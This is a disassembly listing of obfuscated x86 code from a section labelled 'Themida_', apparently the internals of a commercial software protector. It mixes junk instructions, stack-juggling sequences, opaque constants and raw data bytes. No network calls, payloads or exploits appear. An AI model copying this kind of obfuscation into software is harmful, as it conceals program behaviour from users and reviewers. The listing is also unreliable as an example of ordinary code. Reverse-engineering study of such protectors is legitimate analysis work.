byte_554BA1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FCD0o
aHq?		db '$hQ?',0
		align 2
aI4Hpc		db '┴4$h▐C',0
		align 2
aHg		db 'hG ',0
		dw 8900h
aS_6		db '$$Иъ\',0
		db 0
; ---------------------------------------------------------------------------


loc_554BBF:				; CODE XREF: Themida_:0055A832j
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_5528B5
; ---------------------------------------------------------------------------


loc_554BC8:				; CODE XREF: Themida_:005541D2j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 63433162h
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	20000h
		pop	edx
		jmp	loc_557D8B
; ---------------------------------------------------------------------------


loc_554BEB:				; CODE XREF: Themida_:00558A5Bj
		xor	ecx, edi
		xor	edi, ecx
		push	ecx
		xchg	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550BDE
; ---------------------------------------------------------------------------


loc_554BFE:				; CODE XREF: Themida_:0055A16Fj
		add	esp, 4
		push	esi
		jmp	loc_556CF4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812414h, 4, 89241489h, 4C281E2h, 57000000h, 0DF2631BFh
		dd 81DFF76Ch, 0DF2635C7h, 1C21E96Ch, 81660000h,	66054CC3h
		dd 4C0EEB81h, 0EFC38166h, 4AD3E92Ah, 0EBD0000h,	29FE076Ah
		dd 72E95DE8h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C4F:				; CODE XREF: Themida_:00554B4Cj
		shr	edi, 2
		shr	edi, 4
		dec	edi
		jmp	loc_55B973
; ---------------------------------------------------------------------------
		db 0F7h
		dd 41EA81DAh, 31B50C2Ah, 0D8315AD3h, 0FD2AE95Bh, 0EE30FFFFh
		dd 0C2FE9h
		db 0
byte_554C75	db 8Bh,	4, 24h		; DATA XREF: Themida_:0054FD44o
		dd 1DA068h, 2999E900h
		db 2 dup(0)
word_554C82	dw 8B66h		; DATA XREF: Themida_:0054FB54o
		dd 40682404h, 89000076h, 0E789243Ch, 4BE56h, 0F7010000h
		dd 5124348Bh, 0E9E189h,	51FFFFE5h, 0DF411EB9h, 0E1F1812Bh
		dd 0E943EF79h, 0FFFFCA12h, 81E18951h, 4C1h, 2C18100h, 87000000h
		dd 685C240Ch, 1CDDh, 0B7241C89h, 0FBF78049h, 0FFDF35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554CD9:				; CODE XREF: Themida_:00557A81j
		add	esp, 4
		or	eax, eax
		jz	loc_555890
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 0FFF4757h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_551463
; ---------------------------------------------------------------------------
		dw 0FD28h
		dd 0D2ADE95Bh, 4BAFFFFh, 0E9000000h, 330Ch, 8904EC83h
		dd 4832424h, 3C8B0424h,	0FE72E924h, 685DFFFFh, 0
		dd 0FF2434FFh, 1C8B2434h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 680E95Ch,	89660000h, 54E9240Ch
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D4B:				; CODE XREF: Themida_:0055B0D2j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		sub	dword ptr [esp], 7832610Bh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_557716
; ---------------------------------------------------------------------------
		db 1, 0F7h, 52h
		dd 0F51141BAh, 73C6E97Ah, 90E90000h, 5FFFFB0h, 52836A70h
		dd 2C0835Dh, 31240433h,	13E92404h, 8300001Bh, 0E955FFC7h
		dd 329h, 4C781h, 0BA520000h, 4,	148BD701h, 3095E924h, 4830000h
		dd 815B0424h, 4C3h, 10EB6800h, 3C890000h, 1A8DBF24h, 0BD55127Ch
		dd 3C8166B0h, 5EEEC581h, 0E94D65BBh, 0FFFFD53Ch, 0A04A0EBFh
		dd 28EDE905h
		db 2 dup(0)
word_554DEA	dw 34FFh		; DATA XREF: Themida_:0054FCC0o
aSC		db '$Ивc',0
		align 2


loc_554DF2:				; CODE XREF: Themida_:00550D2Aj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_558B5B
; ---------------------------------------------------------------------------
byte_554DFF	db 66h			; DATA XREF: Themida_:0054FB9Co
		dd 93E955ADh, 95FFFFF6h, 5055D0F7h, 0FFC8BCE9h,	4DEF87FFh
		dd 6DE9EF87h, 8100004Fh, 0CB0B76E2h, 0C2814A7Bh, 36C93B61h
		dd 61A6E9h, 52D90100h, 2900DDBAh, 0B4A4E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554E3A:				; CODE XREF: Themida_:00552903j
		pop	esp
		add	al, 81h
		add	al, 4Ch
		add	al, dh
		push	ecx
		mov	ch, 62h
		add	ch, 78h
		shl	ch, 6
		jmp	loc_5575C4
; ---------------------------------------------------------------------------
		db 81h
		dd 0D224C5CDh, 31F0E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554E5A:				; CODE XREF: Themida_:0055061Aj
		mov	[esp], esi
		push	3675h
		mov	[esp], edx
		jmp	loc_5536B1
; ---------------------------------------------------------------------------


loc_554E6A:				; CODE XREF: Themida_:005533A8j
		add	esp, 4
		jmp	loc_558555
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 26824h, 15D0000h, 0C071E9E8h, 2C89FFFFh, 0CCBFBD24h
		dd 0EF01EEA4h, 0FFBF3FE9h, 0E95259FFh, 0FFFFB03Ah, 2402E952h
		dd 0EB810000h, 1, 0E4B6F381h, 0DF299507h, 24348B5Bh, 54AEE9h
		db 0
byte_554EB5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FB68o
		dd 4EC8324h, 54243C89h,	5F2434FFh, 4C481h, 0C7810000h
		dd 4, 0A4BF5751h, 0F772632Dh, 89B850D7h, 0E92D235Eh, 5607h
		dd 0E9241C89h, 5786h, 4EC81h, 4890000h,	1E19E924h, 2C870000h
		dd 24248B24h, 1740E9h
		db 0
; ---------------------------------------------------------------------------


loc_554F05:				; CODE XREF: Themida_:0055B31Cj
		sub	edi, 32BD0CD4h
		pop	eax
		xchg	edi, [esp]
		pop	esp
		idiv	cx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_551183
; ---------------------------------------------------------------------------


loc_554F23:				; CODE XREF: Themida_:00554924j
		pop	ebp
		add	ebx, 1
		push	eax
		mov	eax, 2F2648C2h
		push	esi
		mov	esi, 47E807E7h
		or	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 58DD7753h
		neg	ebp
		dec	ebp
		jmp	loc_55A87D
; ---------------------------------------------------------------------------
		dd 5124248Bh, 5253C588h, 0EC81EA88h, 4,	50240C89h, 0C588D088h
		dd 9685058h, 89000036h,	0EE882414h, 0E9F78853h,	0FFFFF78Eh
; ---------------------------------------------------------------------------


loc_554F70:				; CODE XREF: Themida_:00551EFAj
		mov	[esp], edi
		mov	edi, 24DD18E7h
		xor	ebx, edi
		pop	edi
		jmp	loc_556035
; ---------------------------------------------------------------------------
dword_554F80	dd 0E615E9ADh, 0E800FFFFh, 78245966h, 0C5009A34h, 0DB4CE958h
					; DATA XREF: Themida_:0054FC60o
		dd 78E9FFFFh, 87FFFFAEh, 895C241Ch, 44682404h, 89000021h
		dd 1AE92424h, 51FFFFE9h, 83241C8Bh, 0DD8904C4h,	83241C8Bh
		dd 82E904C4h, 87000026h, 55E92414h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554FCB:				; CODE XREF: Themida_:005511E9j
		pop	edx
		jmp	loc_553A7F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 225Bh, 50241489h, 4EC81h, 3C890000h, 2767BF24h
		dd 0B6E90871h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FF3:				; CODE XREF: Themida_:00551D1Dj
		pop	eax
		xor	[esp+4], ecx
		jmp	loc_55179F
; ---------------------------------------------------------------------------
aSiuh		db 'S┴Цh}-',0
		dd 24348900h, 4BEh, 0FFF30100h,	8FE92434h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555017:				; CODE XREF: Themida_:00557375j
		shr	edx, 8
		jmp	loc_550C34
; ---------------------------------------------------------------------------


loc_55501F:				; CODE XREF: Themida_:005529A9j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552BB7
; ---------------------------------------------------------------------------


loc_55502B:				; CODE XREF: Themida_:00558004j
		add	edx, eax
		pop	eax
		jmp	loc_559A52
; ---------------------------------------------------------------------------


loc_555033:				; CODE XREF: Themida_:00551A38j
		xor	edx, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 24h
		add	eax, edi
		xor	[eax], edx
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_55B8D9
; ---------------------------------------------------------------------------
		db 4Dh
		dd 7E6DC581h, 0C5815AF1h, 784B12F1h, 5BF5814Dh,	21AE79B1h
		dd 0EE9CE9E8h, 0D5F7FFFFh, 0B2D9F581h, 0EF29C4C4h, 66A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_555079:				; CODE XREF: Themida_:00557FACj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_551ED4
; ---------------------------------------------------------------------------


loc_55508E:				; CODE XREF: Themida_:005510AFj
		xor	ebx, ebp
		pop	ebp
		dec	ebx
		neg	ebx
		jmp	loc_553044
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0E7h
		dd 0E9168C05h, 0E04h
; ---------------------------------------------------------------------------


loc_5550A4:				; CODE XREF: Themida_:00553A7Aj
		or	ebx, 1E916B32h
		sub	ebx, 36057792h
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		not	esi
		xchg	esi, ebx
		sub	ebx, 55CD63C8h
		add	ebx, 69472DD4h
		jmp	loc_55C025
; ---------------------------------------------------------------------------
		db 0BDh, 6Ch, 53h
		dd 555651E8h, 161529BDh, 2A88BE2Bh, 0EE013A7Dh,	81D6F75Dh
		dd 0F645B9EEh, 6E6C11Fh, 8106EEC1h, 90B23F6h, 0B90E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5550F6:				; CODE XREF: Themida_:00557924j
		inc	bh
		sub	bh, 0F0h
		push	ecx
		jmp	loc_559FCC
; ---------------------------------------------------------------------------


loc_555101:				; CODE XREF: Themida_:0055B9B2j
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_558BA5
; ---------------------------------------------------------------------------
		dw 4E9h
		dd 43FFFFADh, 2DD8EB81h, 0F3813FEAh, 6F72E5Eh, 69B7EB81h
		dd 0FBE91016h
		db 0D1h, 2 dup(0FFh)
byte_555127	db 66h			; DATA XREF: Themida_:0054FC44o
		dd 5324048Bh, 0BCA68h, 68E2E900h, 0C4810000h, 4, 0DDE1C181h
		dd 0CE01EBDFh, 36E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_555149:				; CODE XREF: Themida_:00550299j
		xor	edi, ecx
		pop	ecx
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_555FB8
; ---------------------------------------------------------------------------
		dd 5BD80059h, 2937E9h
		db 0
; ---------------------------------------------------------------------------


loc_555165:				; CODE XREF: Themida_:00555B9Bj
		add	ebp, 81AA6F83h
		sub	ebx, ebp
		pop	ebp
		add	ebx, 37881F13h
		sub	ebx, eax
		jmp	loc_552074
; ---------------------------------------------------------------------------
		db 29h
		dd 6FE95FFEh, 100006Fh,	4EC6E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55518A:				; CODE XREF: Themida_:0055BC2Aj
		pop	esp
		mov	[esp], esi
		jmp	loc_555B27
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572404h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 8924248Bh
		dd 0EDE6E9D3h, 0BD55FFFFh, 4, 4246C01h,	0C6815E5Dh, 4
		dd 0FFE37CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5551C9:				; CODE XREF: Themida_:005525BAj
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_556B85
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2424D366h, 0AC31E99Ch, 0C381FFFFh, 4, 2BE56h, 0F3010000h
		dd 241C335Eh, 33241C31h, 665C241Ch, 0E9240C8Bh,	0FFFFBF66h
		dd 0E95BD829h, 345Ah
; ---------------------------------------------------------------------------


loc_55520C:				; CODE XREF: Themida_:0055833Dj
		not	edx
		add	edx, 4796C90h
		add	ebp, edx
		jmp	loc_553F0C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240431h, 0FFFFABEFh, 5BD8015Ch, 0FFB890E9h
		db 0FFh, 5Bh
; ---------------------------------------------------------------------------


loc_55522E:				; CODE XREF: Themida_:loc_558890j
		push	6E0Eh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_5562AB
; ---------------------------------------------------------------------------


loc_555242:				; CODE XREF: Themida_:00552FA0j
		sub	dword ptr [esp], 709515CCh
		jmp	loc_553213
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 8124048Bh, 4C4h, 323E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55525E:				; CODE XREF: Themida_:0055A546j
		or	cl, 5Dh
		or	cl, 5Ch
		jmp	loc_55A6A3
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 84h
		dd 0E95E4854h, 0B13h
dword_555274	dd 66D830ACh, 666BC668h, 0B3241C89h, 2BEB8048h,	6D0BE9h
					; DATA XREF: Themida_:0054FCB0o
		dd 5F095A00h, 0FF9BE91Ch, 158FFFFh, 6EE959CEh
		db 0C2h, 2 dup(0FFh)
byte_55529B	db 8Fh			; DATA XREF: Themida_:0054FC34o
		dd 70E94047h, 83FFFFABh, 148702EAh, 0B00DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5552AE:				; CODE XREF: Themida_:0055574Fj
		pop	edi
		push	esi
		jmp	loc_55632E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 1F9D43Bh, 0E8015BDDh, 81242C8Bh, 4C4h, 58C12900h, 74FF515Bh
		dd 0C8B0424h, 4C48124h,	8F000000h, 0FAE92404h, 81FFFFECh
		dd 0DC5627F3h, 0E95BE99Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5552EE:				; CODE XREF: Themida_:00556CB8j
		pop	esp
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 1216F305h,	2DD82939h, 391216F3h, 0FFC22FE9h
		dd 2E1C1FFh, 0C103E1C1h, 0C18107E1h, 0C34340E2h, 159CA31h
		dd 34875AD6h, 24248B24h, 4C481h, 6C680000h, 89000012h
		dd 0E3682434h, 89000033h, 0A0BA2414h, 56163A4Dh, 0FFFFFFBEh
		dd 5EF229FFh, 0FFD3F4E9h, 240487FFh, 124248Bh, 0E99C2404h
		dd 0FFFFAA9Fh
; ---------------------------------------------------------------------------


loc_555374:				; CODE XREF: Themida_:005526EAj
		sub	ebx, 5D372394h
		pop	edi
		or	ebx, 5DFB6B01h
		push	edi
		jmp	loc_551476
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 81E38924h, 4C3h, 0C988E900h, 8146FFFFh, 2B6FC9C6h
		dd 81DEF73Bh, 0E7BC8CC6h, 0E9F3015Ah, 33A3h, 42474FFh
		dd 24048F5Dh, 2404285Ch, 0AA51E99Ch, 8957FFFFh,	0BF51E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553CA:				; CODE XREF: Themida_:0055BAF6j
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 9B53E382h
		mov	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5556AC
; ---------------------------------------------------------------------------
		dw 0C200h
		dd 0CA005866h, 0E9ACEA80h, 0FFFFC68Ch, 8324348Bh, 32E904C4h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555407:				; CODE XREF: Themida_:00554644j
		mov	edi, esi
		jmp	loc_552862
; ---------------------------------------------------------------------------
word_55540E	dw 34FFh		; DATA XREF: Themida_:0054FCA0o
aSbe		db '$ИbE',0
		align 2
		dw 0C89h
		db '$h"^',0
		align 2
		dw 2489h
		dd 24048324h, 0C1815904h, 4, 4C181h, 0C870000h,	24248B24h
		dd 0FFFF4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55543D:				; CODE XREF: Themida_:0055A80Dj
		xor	ebx, [esp]
		jmp	loc_55B7C7
; ---------------------------------------------------------------------------


loc_555445:				; CODE XREF: Themida_:005537F3j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_559EBC
; ---------------------------------------------------------------------------


loc_555465:				; CODE XREF: Themida_:00559F66j
		pop	esi
		add	ebp, eax
		jmp	loc_550451
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 9Ch
		dd 8BFFFFBEh, 0C4812414h, 4, 55241C8Bh,	0C5815D54h, 4
		dd 4C581h, 2C870000h, 89575C24h, 4EC81E7h, 89000000h, 0E789243Ch
		dd 4C781h, 0BA520000h, 4, 0FFC023E9h, 4C481FFh,	50000000h
		dd 3A29BF57h, 0DCE9048Fh, 8900006Bh, 3ABA2414h,	1701258h
		dd 0B9515AD6h, 5EBF41A7h, 0E981D9F7h, 0E13B4048h, 0E959CE29h
		dd 0FFFFBE22h, 58E1005Ah, 33B05066h, 0E8C0C8FEh, 4C0FE02h
		dd 0FEF4E99Fh, 41B9FFFFh, 4115D62Ch, 0D3C2C181h, 0CA01EA29h
		dd 24148759h, 11FCE9h, 0C8B5400h, 0ECE95024h
		db 63h,	2 dup(0)
byte_55551B	db 68h			; DATA XREF: Themida_:0054FDC0o
		dd 31A9h, 83240C89h, 1C8904ECh,	0E9E38924h, 3C40h
dword_555530	dd 2B60F66h, 3321E9h, 50EDD100h, 0B58E9h, 0E9D3F700h, 50Ch
					; DATA XREF: Themida_:0054FB78o
		dd 58C10158h, 33C18141h, 17CFF88h, 0DD0159CBh, 4ED835Bh
		dd 5C242C87h, 0FFD0E8E9h, 0ABE181FFh, 566EDB34h, 0E50708BEh
		dd 0CA7E911h, 0B8500000h, 26F95777h, 3114E9h, 0BA525500h
		dd 40A53AC2h, 4FD9E9h, 1BE95900h, 0F6000018h, 0BCF780DFh
		dd 2E43E9h, 0F5BE5600h,	2174A751h, 0EB815EF3h, 54A21092h
		dd 0E95BD801h, 46Dh, 697EE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5555BA:				; CODE XREF: Themida_:00553AFEj
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		mov	al, 0F8h
		jmp	loc_5537D9
; ---------------------------------------------------------------------------


loc_5555C8:				; CODE XREF: Themida_:005565D7j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_553719
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E98107E9h, 0DB0EB0BEh, 51E9CE31h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5555E3:				; CODE XREF: Themida_:0055A7DCj
		mov	edx, 0
		add	edx, ebx
		add	dword ptr [edx], 1
		pop	edx
		pop	ebx
		mov	ecx, [esp]
		push	edx
		jmp	loc_551E4D
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFE87BE9h, 0F4E959FFh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555607:				; CODE XREF: Themida_:00553E36j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5594B9
; ---------------------------------------------------------------------------


loc_555618:				; CODE XREF: Themida_:00553BDBj
		xchg	esi, ebp
		jmp	loc_5517E6
; ---------------------------------------------------------------------------
		db 58h
		dd 0F8DEA81h, 0EA810C39h, 7E316378h, 0C281C229h, 7E316378h
		dd 0F8DC281h, 48B0C39h,	5F545724h, 4C781h, 0C7830000h
		dd 243C8704h, 0FFB2D8E9h, 0B9E953FFh, 0E9000000h, 0FFFFA7B7h
		dd 0DBE9F789h, 100002Ah, 1BC381FBh, 81378661h, 33719EEBh
		dd 3D4C6838h, 4890000h,	51C88824h, 0FFDA29E9h, 0E95866FFh
		dd 302Ah, 2D0168h, 0FE31E900h, 0BBBFFFFh, 4B65CC4Dh, 55B2F381h
		dd 0DBF75C9Dh, 1C6FE9h,	0E9DFF700h, 0FFFFBBD1h
; ---------------------------------------------------------------------------


loc_5556AC:				; CODE XREF: Themida_:005553E9j
		push	2669h
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 48F9529Bh
		sub	edx, 6B8A71A3h
		add	edx, 2CB6663Eh
		xor	edx, 0A254732h
		sub	ebx, 1BBD32D7h
		sub	ebx, 63C718FFh
		add	ebx, edx
		add	ebx, 63C718FFh
		add	ebx, 1BBD32D7h
		pop	edx
		push	ecx
		push	eax
		push	531D7DB9h
		jmp	loc_559584
; ---------------------------------------------------------------------------


loc_5556F5:				; CODE XREF: Themida_:005560C2j
		xor	esi, edx
		pop	edx
		jmp	loc_55C0F8
; ---------------------------------------------------------------------------
		db 1, 4Ch, 24h
		dd 0D1E95904h, 8FFFFB8h, 0E99C2404h, 0FFFFA703h, 7A186BBBh
		dd 66C4E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55571A:				; CODE XREF: Themida_:00553A40j
		pop	ecx
		jmp	loc_556425
; ---------------------------------------------------------------------------
aSv		db '^Иv/',0
		align 2


loc_555726:				; CODE XREF: Themida_:0055AB02j
		push	eax
		mov	eax, 44A4344Dh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6B9D6A15h
		sub	edi, 25545C3Eh
		or	eax, edi
		jmp	loc_5552AE
; ---------------------------------------------------------------------------


loc_555754:				; CODE XREF: Themida_:005514C6j
		push	esi
		mov	esi, 538415B2h
		xor	esi, 46FE49C5h
		dec	esi
		not	esi
		add	esi, 60F4341h
		add	eax, esi
		pop	esi
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_553A50
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 43DEE904h, 0BD550000h, 4219363Eh, 0CDE9EB89h, 50000016h
		dd 0F480AFB4h, 0E6F48005h, 48BE730h, 4C48324h, 30ECF780h
		dd 0C1805BF9h, 59CB289Fh, 66C0B60Fh, 5224148Bh,	2434FF54h
		dd 4C4815Ah, 57000000h,	0FFF4D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5557D1:				; CODE XREF: Themida_:005542D4j
		push	5F9Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	3237h
		mov	[esp], edx
		mov	edx, 455F58D0h
		jmp	loc_55B321
; ---------------------------------------------------------------------------
		dd 24040166h, 0A619E99Ch, 0D5B7FFFFh, 7DB65266h, 8B66F728h
		dd 0C4812414h, 2, 0B652DFF6h, 0E9F708EAh, 36D1h
; ---------------------------------------------------------------------------


loc_555818:				; CODE XREF: Themida_:00556811j
		push	36431498h
		jmp	loc_556D08
; ---------------------------------------------------------------------------
		dw 7B68h
		dd 8900003Eh, 4832424h,	0C8B0424h, 4C48124h, 81000000h
		dd 4C1h, 4C5C6800h, 34890000h, 1E9CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55584A:				; CODE XREF: Themida_:00558381j
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 55542A05h
		jmp	loc_554671
; ---------------------------------------------------------------------------


loc_555858:				; CODE XREF: Themida_:00557E3Ej
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		push	edi
		mov	edi, 294B62EBh
		shr	edi, 5
		or	edi, 7AD21AA5h
		push	eax
		mov	eax, 640C5608h
		jmp	loc_54FEB3
; ---------------------------------------------------------------------------


loc_55588A:				; CODE XREF: Themida_:00559FC7j
		mov	ebx, [esp]
		add	esp, 4


loc_555890:				; CODE XREF: Themida_:00554CE1j
		push	edi
		jmp	loc_5574F6
; ---------------------------------------------------------------------------


loc_555896:				; CODE XREF: Themida_:0055B4F3j
		mov	[esp], edx
		jmp	loc_552246
; ---------------------------------------------------------------------------


loc_55589E:				; CODE XREF: Themida_:00555A9Bj
		push	esi
		jmp	loc_551F83
; ---------------------------------------------------------------------------
		dd 0DF18E959h, 0D801FFFFh, 0E9241C8Bh, 659Ah
; ---------------------------------------------------------------------------


loc_5558B4:				; CODE XREF: Themida_:00558CC7j
		xor	ecx, eax
		push	0DEh
		mov	[esp], ebx
		push	esp
		jmp	loc_558455
; ---------------------------------------------------------------------------
		dd 0E95DEB01h, 0FFFFE583h, 59D2EA81h, 15E117Ch,	0E9515AD5h
		dd 0FFFFBA7Dh
; ---------------------------------------------------------------------------


loc_5558DC:				; CODE XREF: Themida_:0055603Ej
		and	eax, ebx
		pop	ebx
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_553695
; ---------------------------------------------------------------------------


loc_5558F3:				; CODE XREF: Themida_:005528BCj
		push	eax
		push	edx
		push	eax
		mov	eax, 2DBC44DCh
		push	ebp
		jmp	loc_5540DA
; ---------------------------------------------------------------------------


loc_555901:				; CODE XREF: Themida_:00553962j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 0D99D8CA1h
		jmp	loc_555B02
; ---------------------------------------------------------------------------
		dd 0E9E8285Ah, 41FDh, 0C5D1EF81h, 0E94F0444h, 4367h, 52E38953h
		dd 0EE2CFFBAh, 0FBF2815Eh, 0E95EEE2Ch, 0FFFFD0BDh
; ---------------------------------------------------------------------------


loc_55593C:				; CODE XREF: Themida_:00558267j
		add	edx, ebx
		jmp	loc_55A1D3
; ---------------------------------------------------------------------------
aBa		db '│М',7,27h,0
		dd 5DEF313Ch, 1754E9h
		db 0
; ---------------------------------------------------------------------------


loc_555951:				; CODE XREF: Themida_:00559F2Ej
		sub	edx, 1CD87C60h
		pop	ebp
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	ecx, 6
		jmp	loc_553527
; ---------------------------------------------------------------------------


loc_55596C:				; CODE XREF: Themida_:0055B78Ej
		pop	ebp
		mov	ecx, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_551A0D
; ---------------------------------------------------------------------------
word_55597A	dw 34FFh		; DATA XREF: Themida_:0054FBD4o
		dd 24048B24h, 6804C483h, 7985h,	89241489h, 537DE9E2h, 0B3BD0000h
		dd 291028D0h, 0CE295DE9h, 53240C8Bh, 3132E9h
		db 0
; ---------------------------------------------------------------------------


loc_5559A5:				; CODE XREF: Themida_:00554543j
		pop	dword ptr [esp]
		jmp	loc_550610
; ---------------------------------------------------------------------------
		db 0E9h, 61h, 0A4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5559B2:				; CODE XREF: Themida_:00550E92j
		push	eax
		mov	eax, 1F125B6Fh
		jmp	loc_5510C9
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0EEh
		dd 8154F93Ch, 0C535EDEBh, 2C1EE969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559CE:				; CODE XREF: Themida_:00552089j
		mov	eax, [esp]
		jmp	loc_55ACCC
; ---------------------------------------------------------------------------
		dw 0EBD1h
		dd 0AD7AEB81h, 0C7E9E9F2h
		db 0FEh, 2 dup(0FFh)
byte_5559E3	db 64h			; DATA XREF: Themida_:0054FB94o
		dd 28E932FFh, 83FFFFA4h, 15F04C4h, 9CE95DEBh, 35FFFFB2h
		dd 2FD54340h, 0E958C101h, 551Eh, 4EC81h, 0C890000h, 4D906824h
		dd 34FF7D14h, 0C4815924h, 4, 351BE9h, 24043300h, 33240431h
		dd 248B2404h, 309BE924h, 0E9540000h, 0FFFFB5DBh, 75F368h
		dd 240C8900h, 4B9h, 59CD0100h, 73046851h, 0E9596254h, 0FFFFB39Eh
		dd 0EB81DBF7h, 2BB070BCh, 0FFFB3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555A61:				; CODE XREF: Themida_:005583AEj
		inc	esi
		xor	esi, 3F5F41DDh
		add	esi, 3929809Fh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 3
		shl	eax, 3
		shr	eax, 3
		sub	eax, 0D5AB69ACh
		or	[edi+20h], eax
		pop	eax
		push	ebx
		mov	ebx, 7FFFF02Ch
		sub	[edi+20h], ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55589E
